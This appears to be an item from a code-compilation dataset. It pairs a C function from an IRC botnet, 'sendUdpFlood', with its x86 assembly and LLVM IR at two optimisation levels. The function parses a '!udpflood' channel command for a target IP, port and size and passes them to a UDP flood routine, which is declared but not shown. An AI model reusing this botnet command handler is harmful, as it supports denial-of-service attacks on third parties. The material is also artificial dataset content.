#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct irc {
  int dummy;
};

/* Variables and functions */
int atoi(char *);
int /*<<< orphan*/ chomp(char *);
char *gettoken(char **, char, char *);
int /*<<< orphan*/ printf(char *, char *, int, int);
int /*<<< orphan*/ sendMsgChan(struct irc *, char *);
int /*<<< orphan*/ udpFlood(char *, int, int);
void sendUdpFlood(struct irc *bot, char *arg) {
  char *next, *ip, *port_str, *qtd;
  int tam = 0, port_int = 0;
  next = gettoken(&ip, ' ', arg);
  next = gettoken(&port_str, ' ', next);
  next = gettoken(&qtd, ' ', next);
  chomp(ip);
  chomp(port_str);
  chomp(qtd);
  tam = atoi(qtd);
  port_int = atoi(port_str);
  printf("ip: %s :: port: %d :: qtd: %d \n", ip, port_int, tam);
  if (ip == NULL || port_int < 1 || port_int > 65535) {
    sendMsgChan(bot, "!udpflood ip porta tamanho\r\n");
    return;
  } else if (tam < 1)
    tam = 666;
  udpFlood(ip, port_int, tam);
}


x86 assembly (clang, -O0):
<sendUdpFlood>:
push   %rbp
mov    %rsp,%rbp
sub    $0x40,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x0,-0x34(%rbp)
movl   $0x0,-0x38(%rbp)
mov    -0x10(%rbp),%rdx
lea    -0x20(%rbp),%rdi
mov    $0x20,%esi
call   1030 <gettoken@plt>
mov    %rax,-0x18(%rbp)
mov    -0x18(%rbp),%rdx
lea    -0x28(%rbp),%rdi
mov    $0x20,%esi
call   1030 <gettoken@plt>
mov    %rax,-0x18(%rbp)
mov    -0x18(%rbp),%rdx
lea    -0x30(%rbp),%rdi
mov    $0x20,%esi
call   1030 <gettoken@plt>
mov    %rax,-0x18(%rbp)
mov    -0x20(%rbp),%rdi
call   1070 <chomp@plt>
mov    -0x28(%rbp),%rdi
call   1070 <chomp@plt>
mov    -0x30(%rbp),%rdi
call   1070 <chomp@plt>
mov    -0x30(%rbp),%rdi
call   1080 <atoi@plt>
mov    %eax,-0x34(%rbp)
mov    -0x28(%rbp),%rdi
call   1080 <atoi@plt>
mov    %eax,-0x38(%rbp)
mov    -0x20(%rbp),%rsi
mov    -0x38(%rbp),%edx
mov    -0x34(%rbp),%ecx
lea    0xdfc(%rip),%rdi
call   1050 <printf@plt>
cmpq   $0x0,-0x20(%rbp)
je     122b <sendUdpFlood+0xcb>
cmpl   $0x1,-0x38(%rbp)
jl     122b <sendUdpFlood+0xcb>
cmpl   $0xffff,-0x38(%rbp)
jle    1240 <sendUdpFlood+0xe0>
mov    -0x8(%rbp),%rdi
lea    0xdea(%rip),%rsi
call   1040 <sendMsgChan@plt>
jmp    1265 <sendUdpFlood+0x105>
cmpl   $0x1,-0x34(%rbp)
jge    1251 <sendUdpFlood+0xf1>
movl   $0x29a,-0x34(%rbp)
jmp    1256 <sendUdpFlood+0xf6>
mov    -0x20(%rbp),%rdi
mov    -0x38(%rbp),%esi
mov    -0x34(%rbp),%edx
call   1060 <udpFlood@plt>
add    $0x40,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<sendUdpFlood>:
push   %rbp
push   %r14
push   %rbx
sub    $0x20,%rsp
mov    %rsi,%rdx
mov    %rdi,%r14
lea    0x8(%rsp),%rdi
mov    $0x20,%esi
call   1030 <gettoken@plt>
lea    0x18(%rsp),%rdi
mov    $0x20,%esi
mov    %rax,%rdx
call   1030 <gettoken@plt>
lea    0x10(%rsp),%rdi
mov    $0x20,%esi
mov    %rax,%rdx
call   1030 <gettoken@plt>
mov    0x8(%rsp),%rdi
call   1070 <chomp@plt>
mov    0x18(%rsp),%rdi
call   1070 <chomp@plt>
mov    0x10(%rsp),%rdi
call   1070 <chomp@plt>
mov    0x10(%rsp),%rdi
call   1080 <atoi@plt>
mov    %eax,%ebp
mov    0x18(%rsp),%rdi
call   1080 <atoi@plt>
mov    %eax,%ebx
mov    0x8(%rsp),%rsi
lea    0xe1d(%rip),%rdi
mov    %eax,%edx
mov    %ebp,%ecx
call   1050 <printf@plt>
lea    -0x10000(%rbx),%eax
cmp    $0xffff0001,%eax
jb     1216 <sendUdpFlood+0xb6>
mov    0x8(%rsp),%rdi
test   %rdi,%rdi
je     1216 <sendUdpFlood+0xb6>
test   %ebp,%ebp
mov    $0x29a,%edx
cmovg  %ebp,%edx
mov    %ebx,%esi
call   1060 <udpFlood@plt>
jmp    1225 <sendUdpFlood+0xc5>
lea    0xe03(%rip),%rsi
mov    %r14,%rdi
call   1040 <sendMsgChan@plt>
add    $0x20,%rsp
pop    %rbx
pop    %r14
pop    %rbp
ret

LLVM IR (-O0):
%struct.irc = type { i32 }
@.str = [32 x i8] c"ip: %s :: port: %d :: qtd: %d \0A\00"
@.str.1 = [29 x i8] c"!udpflood ip porta tamanho\0D\0A\00"
define void @sendUdpFlood(%struct.irc* %0, i8* %1) {
%3 = alloca %struct.irc*
%4 = alloca i8*
%5 = alloca i8*
%6 = alloca i8*
%7 = alloca i8*
%8 = alloca i8*
%9 = alloca i32
%10 = alloca i32
store %struct.irc* %0, %struct.irc** %3
store i8* %1, i8** %4
store i32 0, i32* %9
store i32 0, i32* %10
%11 = load i8*, i8** %4
%12 = call i8* @gettoken(i8** %6, i8 signext 32, i8* %11)
store i8* %12, i8** %5
%13 = load i8*, i8** %5
%14 = call i8* @gettoken(i8** %7, i8 signext 32, i8* %13)
store i8* %14, i8** %5
%15 = load i8*, i8** %5
%16 = call i8* @gettoken(i8** %8, i8 signext 32, i8* %15)
store i8* %16, i8** %5
%17 = load i8*, i8** %6
%18 = call i32 @chomp(i8* %17)
%19 = load i8*, i8** %7
%20 = call i32 @chomp(i8* %19)
%21 = load i8*, i8** %8
%22 = call i32 @chomp(i8* %21)
%23 = load i8*, i8** %8
%24 = call i32 @atoi(i8* %23)
store i32 %24, i32* %9
%25 = load i8*, i8** %7
%26 = call i32 @atoi(i8* %25)
store i32 %26, i32* %10
%27 = load i8*, i8** %6
%28 = load i32, i32* %10
%29 = load i32, i32* %9
%30 = call i32 @printf(i8* getelementptr inbounds ([32 x i8], [32 x i8]* @.str, i64 0, i64 0), i8* %27, i32 %28, i32 %29)
%31 = load i8*, i8** %6
%32 = icmp eq i8* %31, null
br i1 %32, label %39, label %33
33: ; preds = %2
%34 = load i32, i32* %10
%35 = icmp slt i32 %34, 1
br i1 %35, label %39, label %36
36: ; preds = %33
%37 = load i32, i32* %10
%38 = icmp sgt i32 %37, 65535
br i1 %38, label %39, label %42
39: ; preds = %36, %33, %2
%40 = load %struct.irc*, %struct.irc** %3
%41 = call i32 @sendMsgChan(%struct.irc* %40, i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.1, i64 0, i64 0))
br label %52
42: ; preds = %36
%43 = load i32, i32* %9
%44 = icmp slt i32 %43, 1
br i1 %44, label %45, label %46
45: ; preds = %42
store i32 666, i32* %9
br label %46
46: ; preds = %45, %42
br label %47
47: ; preds = %46
%48 = load i8*, i8** %6
%49 = load i32, i32* %10
%50 = load i32, i32* %9
%51 = call i32 @udpFlood(i8* %48, i32 %49, i32 %50)
br label %52
52: ; preds = %47, %39
ret void
}

LLVM IR (-O2):
%struct.irc = type { i32 }
@.str = [32 x i8] c"ip: %s :: port: %d :: qtd: %d \0A\00"
@.str.1 = [29 x i8] c"!udpflood ip porta tamanho\0D\0A\00"
define void @sendUdpFlood(%struct.irc* %0, i8* %1) {
%3 = alloca i8*
%4 = alloca i8*
%5 = alloca i8*
%6 = bitcast i8** %3 to i8*
%7 = bitcast i8** %4 to i8*
%8 = bitcast i8** %5 to i8*
%9 = call i8* @gettoken(i8** %3, i8 signext 32, i8* %1)
%10 = call i8* @gettoken(i8** %4, i8 signext 32, i8* %9)
%11 = call i8* @gettoken(i8** %5, i8 signext 32, i8* %10)
%12 = load i8*, i8** %3
%13 = call i32 @chomp(i8* %12)
%14 = load i8*, i8** %4
%15 = call i32 @chomp(i8* %14)
%16 = load i8*, i8** %5
%17 = call i32 @chomp(i8* %16)
%18 = load i8*, i8** %5
%19 = call i32 @atoi(i8* %18)
%20 = load i8*, i8** %4
%21 = call i32 @atoi(i8* %20)
%22 = load i8*, i8** %3
%23 = call i32 @printf(i8* getelementptr inbounds ([32 x i8], [32 x i8]* @.str, i64 0, i64 0), i8* %22, i32 %21, i32 %19)
%24 = load i8*, i8** %3
%25 = icmp eq i8* %24, null
%26 = add i32 %21, -65536
%27 = icmp ult i32 %26, -65535
%28 = or i1 %27, %25
br i1 %28, label %29, label %31
29: ; preds = %2
%30 = call i32 @sendMsgChan(%struct.irc* %0, i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.1, i64 0, i64 0))
br label %35
31: ; preds = %2
%32 = icmp slt i32 %19, 1
%33 = select i1 %32, i32 666, i32 %19
%34 = call i32 @udpFlood(i8* %24, i32 %21, i32 %33)
br label %35
35: ; preds = %31, %29
ret void
}